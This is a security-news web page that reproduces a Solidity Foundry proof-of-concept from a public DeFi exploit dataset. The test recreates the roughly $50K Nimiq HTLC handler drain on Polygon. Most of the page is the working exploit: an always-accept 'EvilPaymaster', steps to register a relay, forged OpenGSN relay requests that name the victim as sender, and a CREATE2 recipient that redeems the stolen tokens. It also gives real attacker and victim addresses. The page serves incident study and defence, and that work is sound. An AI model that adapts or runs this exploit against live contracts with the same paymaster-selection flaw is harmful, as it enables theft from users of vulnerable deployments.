Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/Nimiq_exp.sol

Public reproduction file for dataset entry Nimiq.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/Nimiq_exp.sol407 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.17;
3
4import "forge-std/Test.sol";
5
6// Nimiq cross-chain HTLC handler drain - OpenGSN paymaster-selection trust bug. Polygon.
7// The swap-liquidity wallet held unlimited ERC20 approvals to two ERC20PermitHTLCHandler
8// instances; anyone able to make the real RelayHub call the handler's forwarder entrypoint
9// could open an HTLC in the victim's name and redeem it. Loss ~$50,463 (USDC + USDT0 + USDC.e).
10//
11// Setup tx : 0xb067efae73637f3564f58af7f6027afc497e81e47624b0048636085c678858c0 (block 93930784)
12// attacker EIP-7702 EOA stakes a relay manager, authorizes the hub, registers a worker
13// Exploit tx : 0xb2ca76dfbfe571742b4b66465b777ab1e06988a8632be1631bef9654cc64d169 (block 93930854)
14// forged open() relayCalls + CREATE2 recipient deploy + redeem(secret)
15// Attacker : 0x2258491525C21f334c5a2dc22CE55e55023FC45D (EIP-7702 delegated: code 0xef0100...)
16// Victim : 0x24Cb173Ae221AeA93369f34bdcF0Ddb35b436773 (unlimited approvals to both handlers)
17//
18// ── Actors (all read live off-chain from the real deployments) ──────────────────────────────────
19// HTLC handler #1 (USDC) 0x0cFD862bE942846Cebad797d7c1BC6e47714959b
20// HTLC handler #2 (USDT0/USDCe)0xF615bD7EA00C4Cc7F39Faad0895dB5f40891359f
21// OpenGSN RelayHub v2.2.0 0x6C28AfC105e65782D9Ea6F2cA68df84C9e7d750d (getHubAddr() of both)
22// OpenGSN StakeManager 0x15C7B7CE10f3A9AE63554bCE7C54d0a818E967C7 (RelayHub.stakeManager())
23// USDC (native, 6dp) 0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359
24// USDT0 (6dp) 0xc2132D05D31c914a87C6611C10748AEb04B58e8F
25// USDC.e (6dp) 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174
26//
27// ── Root cause (confirmed against the verified deployed source, ERC20PermitHTLCHandler) ─────────
28// Each handler is its own OpenGSN forwarder AND its own paymaster AND the recipient. The forwarder
29// entrypoint it exposes to the hub is:
30//
31// function execute(ForwardRequest calldata request, bytes32 domainSeparator,
32// bytes32 requestTypeHash, bytes calldata suffixData, bytes calldata signature)
33// public payable onlyRelayHub returns (bool, bytes memory) {
34// (request, domainSeparator, requestTypeHash, suffixData, signature); // <-- discards ALL of them
35// bytes4 methodId = GsnUtils.getMethodSig(request.data);
36// (...) = decodeRequestDataPrivate(methodId, request.from, request.data, 0);
37// nonces[request.from] += 1;
38// if (methodId == open.selector || openWithPermit.selector) openPrivate(request.from, ...);
39// ...
40// }
41//
42// execute() runs NO EIP-712 signature check, NO nonce check, NO business precondition (checkOpen
43// is skipped entirely on this path) - it just decodes request.data and calls
44// openPrivate(request.from) -> token.transferFrom(request.from, handler, amount). The ONLY place
45// the signature/nonce/preconditions are verified is preRelayedCall(), which the hub invokes on
46// whichever paymaster the RELAY names in relayData.paymaster. Because RelayHub lets any staked
47// relay pick any (paymaster, forwarder) pair, the attacker points forwarder=handler and
48// paymaster=their own always-accept paymaster, so the real verifyCallPrivate() never runs and
49// execute() drains request.from = the victim.
50//
51// This is unprivileged and architectural: no owner/admin role gates execute(), openPrivate(),
52// preRelayedCall() or the paymaster choice. owner() exists on the handler but guards only
53// registerToken/setRelayHub/withdraw* - none of which are on the drain path.
54//
55// ── What this PoC reconstructs (genuine, no shortcuts) ──────────────────────────────────────────
56// Everything below runs live against the real RelayHub, StakeManager and both real handlers on a
57// fork taken one block BEFORE the setup tx, so the victim still holds full balances and unlimited
58// approvals and no HTLC exists yet.
59// 1. Deploy a malicious paymaster whose preRelayedCall accepts unconditionally (typed contract).
60// 2. Register a relay the normal OpenGSN way: setRelayManagerOwner -> stakeForRelayManager (1 POL,
61// the hub minimum) -> authorizeHubByManager -> addRelayWorkers. No vm.store, no cheat on the
62// registration state.
63// 3. For each token: build a forged GsnTypes.RelayRequest whose request.from = victim and
64// request.data = abi.encodeCall(open, ...) with recipient = a precomputed CREATE2 address,
65// and submit it through the REAL RelayHub.relayCall() from the worker EOA. The hub calls the
66// malicious paymaster (accepts) then the handler's execute() (drains). Typed calls throughout
67// - no raw calldata blob, no bytecode replay.
68// 4. Deploy the precomputed recipient via CREATE2 and redeem() each HTLC with secret = 0x01,
69// pulling every drained token out to the attacker.
70// Final assert: the attacker receives exactly the victim's pre-drain balance of each token, summing
71// to ~$50,463 (all three are 6-decimal dollar tokens), matching the reported loss.
73// ---------------------------------------------------------------------------------------------
74// OpenGSN v2 typed structs (identical layout to @opengsn/contracts GsnTypes / IForwarder, so the
75// ABI encoding produced here is byte-for-byte what RelayHub.relayCall and IPaymaster expect).
76// ---------------------------------------------------------------------------------------------
77struct ForwardRequest {
78 address from;
79 address to;
80 uint256 value;
81 uint256 gas;
82 uint256 nonce;
83 bytes data;
84 uint256 validUntil;
87struct RelayData {
88 uint256 gasPrice;
89 uint256 pctRelayFee;
90 uint256 baseRelayFee;
91 address relayWorker;
92 address paymaster;
93 address forwarder;
94 bytes paymasterData;
95 uint256 clientId;
98struct RelayRequest {
99 ForwardRequest request;
100 RelayData relayData;
103struct GasAndDataLimits {
104 uint256 acceptanceBudget;
105 uint256 preRelayedCallGasLimit;
106 uint256 postRelayedCallGasLimit;
107 uint256 calldataSizeLimit;
110interface IERC20 {
111 function balanceOf(address) external view returns (uint256);
112 function allowance(address, address) external view returns (uint256);
115interface IHTLCHandler {
116 function open(
117 bytes32 id,
118 address token,
119 uint256 amount,
120 address refundAddress,
121 address recipientAddress,
122 bytes32 hash,
123 uint256 timeout,
124 uint256 fee
125 ) external;
126 function redeem(bytes32 id, address target, bytes32 secret, uint256 fee) external;
127 function getNonce(address from) external view returns (uint256);
128 function getHubAddr() external view returns (address);
131interface IRelayHub {
132 function relayCall(
133 uint256 maxAcceptanceBudget,
134 RelayRequest calldata relayRequest,
135 bytes calldata signature,
136 bytes calldata approvalData,
137 uint256 externalGasLimit
138 ) external returns (bool paymasterAccepted, bytes memory returnValue);
139 function addRelayWorkers(address[] calldata newRelayWorkers) external;
140 function depositFor(address target) external payable;
141 function balanceOf(address target) external view returns (uint256);
142 function workerToManager(address worker) external view returns (address);
143 function stakeManager() external view returns (address);
146interface IStakeManager {
147 function setRelayManagerOwner(address payable owner) external;
148 function stakeForRelayManager(address relayManager, uint256 unstakeDelay) external payable;
149 function authorizeHubByManager(address relayHub) external;
150 function isRelayManagerStaked(address relayManager, address relayHub, uint256 minAmount, uint256 minUnstakeDelay)
151 external
152 view
153 returns (bool);
156// ---------------------------------------------------------------------------------------------
157// The malicious paymaster. Its whole job is to accept every request the relay presents. Because it
158// is named in relayData.paymaster, the hub calls THIS preRelayedCall instead of the handler's real
159// one, so the EIP-712 / nonce / balance checks in the handler's verifyCallPrivate never execute.
160// Struct-typed signatures are used so the selectors match IPaymaster exactly.
161// ---------------------------------------------------------------------------------------------
162contract EvilPaymaster {
163 // Loose limits: high calldata cap so verifyGasAndDataLimits never rejects on size, and
164 // acceptanceBudget >= preRelayedCallGasLimit as the hub requires.
165 function getGasAndDataLimits() external pure returns (GasAndDataLimits memory) {
166 return GasAndDataLimits({
167 acceptanceBudget: 200_000,
168 preRelayedCallGasLimit: 100_000,
169 postRelayedCallGasLimit: 100_000,
170 calldataSizeLimit: type(uint256).max
171 });
172 }
174 // Always accept. revertOnRecipientRevert = false so a handler revert cannot bubble as a rejection.
175 function preRelayedCall(
176 RelayRequest calldata relayRequest,
177 bytes calldata signature,
178 bytes calldata approvalData,
179 uint256 maxPossibleGas
180 ) external pure returns (bytes memory context, bool revertOnRecipientRevert) {
181 (relayRequest, signature, approvalData, maxPossibleGas);
182 return ("", false);
183 }
185 function postRelayedCall(
186 bytes calldata context,
187 bool success,
188 uint256 gasUseWithoutPost,
189 RelayData calldata relayData
190 ) external pure {
191 (context, success, gasUseWithoutPost, relayData);
192 }
194 receive() external payable {}
197// ---------------------------------------------------------------------------------------------
198// The CREATE2 recipient. Named as the HTLC recipient at open() time (its address is precomputed
199// before it exists), deployed in the exploit phase, then it calls redeem() as the recipient so the
200// handler transfers the drained tokens to `target` (the attacker).
201// ---------------------------------------------------------------------------------------------
202contract HTLCRecipient {
203 function redeemTo(address handler, bytes32 id, address target, bytes32 secret) external {
204 IHTLCHandler(handler).redeem(id, target, secret, 0);
205 }
208contract NimiqExploit is Test {
209 IRelayHub constant RELAY_HUB = IRelayHub(0x6C28AfC105e65782D9Ea6F2cA68df84C9e7d750d);
210 IStakeManager constant STAKE_MANAGER = IStakeManager(0x15C7B7CE10f3A9AE63554bCE7C54d0a818E967C7);
212 address constant HANDLER_USDC = 0x0cFD862bE942846Cebad797d7c1BC6e47714959b; // handler #1
213 address constant HANDLER_USDT = 0xF615bD7EA00C4Cc7F39Faad0895dB5f40891359f; // handler #2
215 address constant VICTIM = 0x24Cb173Ae221AeA93369f34bdcF0Ddb35b436773;
217 address constant USDC = 0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359;
218 address constant USDT0 = 0xc2132D05D31c914a87C6611C10748AEb04B58e8F;
219 address constant USDCe = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174;
221 // Hub minimums, read from RelayHub.getConfiguration(): minimumStake 1e18, minimumUnstakeDelay 1000.
222 uint256 constant STAKE = 1 ether;
223 uint256 constant UNSTAKE_DELAY = 1000;
225 // HTLC hashlock: sha256(secret). secret is the 32-byte value 0x01, redeemed below.
226 bytes32 constant SECRET = bytes32(uint256(1));
228 // Attacker-controlled relay roles (fresh EOAs; the real attacker used their own 7702 EOA).
229 address relayManager = makeAddr("relayManager");
230 address relayWorker = makeAddr("relayWorker");
232 EvilPaymaster paymaster;
233 HTLCRecipient recipient;
234 address predictedRecipient;
235 bytes32 constant SALT = keccak256("nimiq.htlc.recipient");
237 uint256 preUSDC;
238 uint256 preUSDT0;
239 uint256 preUSDCe;
241 function setUp() public {
242 // One block before the setup tx: victim still holds full balances + unlimited approvals.
243 vm.createSelectFork("polygon", 93_930_783);
244 }
246 function testExploit() public {
247 preUSDC = IERC20(USDC).balanceOf(VICTIM);
248 preUSDT0 = IERC20(USDT0).balanceOf(VICTIM);
249 preUSDCe = IERC20(USDCe).balanceOf(VICTIM);
251 emit log_named_decimal_uint("victim USDC before", preUSDC, 6);
252 emit log_named_decimal_uint("victim USDT0 before", preUSDT0, 6);
253 emit log_named_decimal_uint("victim USDC.e before", preUSDCe, 6);
255 // Sanity: the two contracts really are their own hub's forwarder, and approvals are unlimited.
256 assertEq(IHTLCHandler(HANDLER_USDC).getHubAddr(), address(RELAY_HUB), "hub #1");
257 assertEq(IHTLCHandler(HANDLER_USDT).getHubAddr(), address(RELAY_HUB), "hub #2");
258 assertGt(IERC20(USDC).allowance(VICTIM, HANDLER_USDC), preUSDC, "no USDC approval");
259 assertGt(IERC20(USDT0).allowance(VICTIM, HANDLER_USDT), preUSDT0, "no USDT0 approval");
260 assertGt(IERC20(USDCe).allowance(VICTIM, HANDLER_USDT), preUSDCe, "no USDC.e approval");
262 // ---- generic OpenGSN infra the attacker stands up (not victim-specific) ----
263 paymaster = new EvilPaymaster();
264 _registerRelay();
265 // Fund the paymaster's hub deposit. Not strictly required at gasPrice 0, done for realism.
266 vm.deal(address(this), 2 ether);
267 RELAY_HUB.depositFor{value: 1 ether}(address(paymaster));
269 // Precompute the recipient address so it can be named in each open() before it is deployed.
270 predictedRecipient =
271 vm.computeCreate2Address(SALT, keccak256(type(HTLCRecipient).creationCode), address(this));
273 // ---- forged open() through the real hub: one HTLC per token, drained from the victim ----
274 bytes32 idUSDC = _htlcId(HANDLER_USDC, USDC);
275 bytes32 idUSDT0 = _htlcId(HANDLER_USDT, USDT0);
276 bytes32 idUSDCe = _htlcId(HANDLER_USDT, USDCe);
278 _forgeOpen(HANDLER_USDC, USDC, preUSDC, idUSDC, predictedRecipient);
279 _forgeOpen(HANDLER_USDT, USDT0, preUSDT0, idUSDT0, predictedRecipient);
280 _forgeOpen(HANDLER_USDT, USDCe, preUSDCe, idUSDCe, predictedRecipient);
282 // Victim is now empty; the tokens sit inside the handlers as HTLCs owned by predictedRecipient.
283 assertEq(IERC20(USDC).balanceOf(VICTIM), 0, "USDC not fully drained from victim");
284 assertEq(IERC20(USDT0).balanceOf(VICTIM), 0, "USDT0 not fully drained from victim");
285 assertEq(IERC20(USDCe).balanceOf(VICTIM), 0, "USDC.e not fully drained from victim");
287 // ---- deploy the CREATE2 recipient and redeem with the secret ----
288 recipient = new HTLCRecipient{salt: SALT}();
289 assertEq(address(recipient), predictedRecipient, "CREATE2 address mismatch");
291 recipient.redeemTo(HANDLER_USDC, idUSDC, address(this), SECRET);
292 recipient.redeemTo(HANDLER_USDT, idUSDT0, address(this), SECRET);
293 recipient.redeemTo(HANDLER_USDT, idUSDCe, address(this), SECRET);
295 // ---- profit ----
296 uint256 gotUSDC = IERC20(USDC).balanceOf(address(this));
297 uint256 gotUSDT0 = IERC20(USDT0).balanceOf(address(this));
298 uint256 gotUSDCe = IERC20(USDCe).balanceOf(address(this));
300 emit log_named_decimal_uint("attacker USDC after", gotUSDC, 6);
301 emit log_named_decimal_uint("attacker USDT0 after", gotUSDT0, 6);
302 emit log_named_decimal_uint("attacker USDC.e after", gotUSDCe, 6);
304 // Every token moved from the victim to the attacker, in full.
305 assertEq(gotUSDC, preUSDC, "USDC profit mismatch");
306 assertEq(gotUSDT0, preUSDT0, "USDT0 profit mismatch");
307 assertEq(gotUSDCe, preUSDCe, "USDC.e profit mismatch");
309 // All three are 6-decimal dollar-pegged tokens, so the raw sum is the USD loss.
310 uint256 totalUsd6 = gotUSDC + gotUSDT0 + gotUSDCe;
311 emit log_named_decimal_uint("total drained (USD)", totalUsd6, 6);
312 // Reported loss ~$50,463. Assert within $5.
313 assertApproxEqAbs(totalUsd6, 50_463e6, 5e6, "total loss far from reported ~$50.4K");
314 }
316 // Register the relay through the real StakeManager + RelayHub. Manager acts as its own owner.
317 function _registerRelay() internal {
318 vm.deal(relayManager, 2 ether);
320 vm.prank(relayManager);
321 STAKE_MANAGER.setRelayManagerOwner(payable(relayManager));
323 vm.prank(relayManager);
324 STAKE_MANAGER.stakeForRelayManager{value: STAKE}(relayManager, UNSTAKE_DELAY);
326 vm.prank(relayManager);
327 STAKE_MANAGER.authorizeHubByManager(address(RELAY_HUB));
329 address[] memory workers = new address[](1);
330 workers[0] = relayWorker;
331 vm.prank(relayManager);
332 RELAY_HUB.addRelayWorkers(workers);
334 assertTrue(
335 STAKE_MANAGER.isRelayManagerStaked(relayManager, address(RELAY_HUB), STAKE, UNSTAKE_DELAY),
336 "relay manager not staked"
337 );
338 assertEq(RELAY_HUB.workerToManager(relayWorker), relayManager, "worker not registered");
339 }
341 // Build one forged open() and drive it through RelayHub.relayCall() as the worker EOA.
342 function _forgeOpen(address handler, address token, uint256 amount, bytes32 id, address htlcRecipient)
343 internal
344 {
345 // request.data is a plain typed encoding of open(...); the handler reads its params by
346 // position via GsnUtils.getParam, so a canonical abi.encodeCall is exactly what it decodes.
347 bytes memory openData = abi.encodeCall(
348 IHTLCHandler.open,
349 (
350 id,
351 token,
352 amount, // full victim balance; execute() skips the balance/allowance preconditions
353 address(this), // refund (unused - we redeem, never refund)
354 htlcRecipient, // recipient = precomputed CREATE2 contract
355 sha256(abi.encodePacked(SECRET)), // hashlock = sha256(0x01)
356 block.timestamp + 1 days, // timeout (irrelevant to the redeem path)
357 0 // fee
358 )
359 );
361 RelayRequest memory rr = RelayRequest({
362 request: ForwardRequest({
363 from: VICTIM, // the forged sender - execute() transfers FROM here
364 to: handler,
365 value: 0,
366 gas: 300_000,
367 nonce: IHTLCHandler(handler).getNonce(VICTIM), // execute() ignores it, kept honest anyway
368 data: openData,
369 validUntil: 0
370 }),
371 relayData: RelayData({
372 gasPrice: 0, // zero fee => zero charge => paymaster deposit never consumed
373 pctRelayFee: 0,
374 baseRelayFee: 0,
375 relayWorker: relayWorker,
376 paymaster: address(paymaster), // the always-accept paymaster - the crux
377 forwarder: handler, // forwarder = the handler => hub calls handler.execute()
378 paymasterData: "",
379 clientId: 0
380 })
381 });
383 // 65-byte throwaway signature: never checked by execute(), and <=65 to satisfy the hub's
384 // transaction-packing validator.
385 bytes memory signature = new bytes(65);
387 // Gas accounting: externalGasLimit (3M) exceeds the hub's computed maxPossibleGas but stays
388 // under block.gaslimit, and we forward slightly less real gas so the hub's
389 // externalCallDataCost (externalGasLimit - initialGasLeft - overhead) stays small and
390 // positive, mirroring a real relay transaction's intrinsic-gas gap.
391 uint256 externalGasLimit = 3_000_000;
393 // relayCall must be sent by an EOA (msg.sender == tx.origin): prank both to the worker.
394 vm.prank(relayWorker, relayWorker);
395 (bool accepted,) = RELAY_HUB.relayCall{gas: 2_970_000}(200_000, rr, signature, "", externalGasLimit);
396 assertTrue(accepted, "paymaster rejected relayCall");
398 // Confirm the HTLC now holds the victim's tokens inside the handler.
399 assertEq(IERC20(token).balanceOf(handler) >= amount ? uint256(1) : uint256(0), 1, "handler did not receive tokens");
400 }
402 function _htlcId(address handler, address token) internal pure returns (bytes32) {
403 return keccak256(abi.encodePacked("nimiq", handler, token));
404 }
406 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Nimiq” (2026-09-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x2258491525c21f334c5a2dc22ce55e55023fc45d

  • Victim

    0x24cb173ae221aea93369f34bdcf0ddb35b436773

File record

Name
Nimiq
Path
src/test/2026-09/Nimiq_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d04af255df8b64203d4317851ca69ecd862f9f60
Language
Solidity
Size
408 lines
Date
2026-09-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/Nimiq_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d04af255df8b64203d4317851ca69ecd862f9f60, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.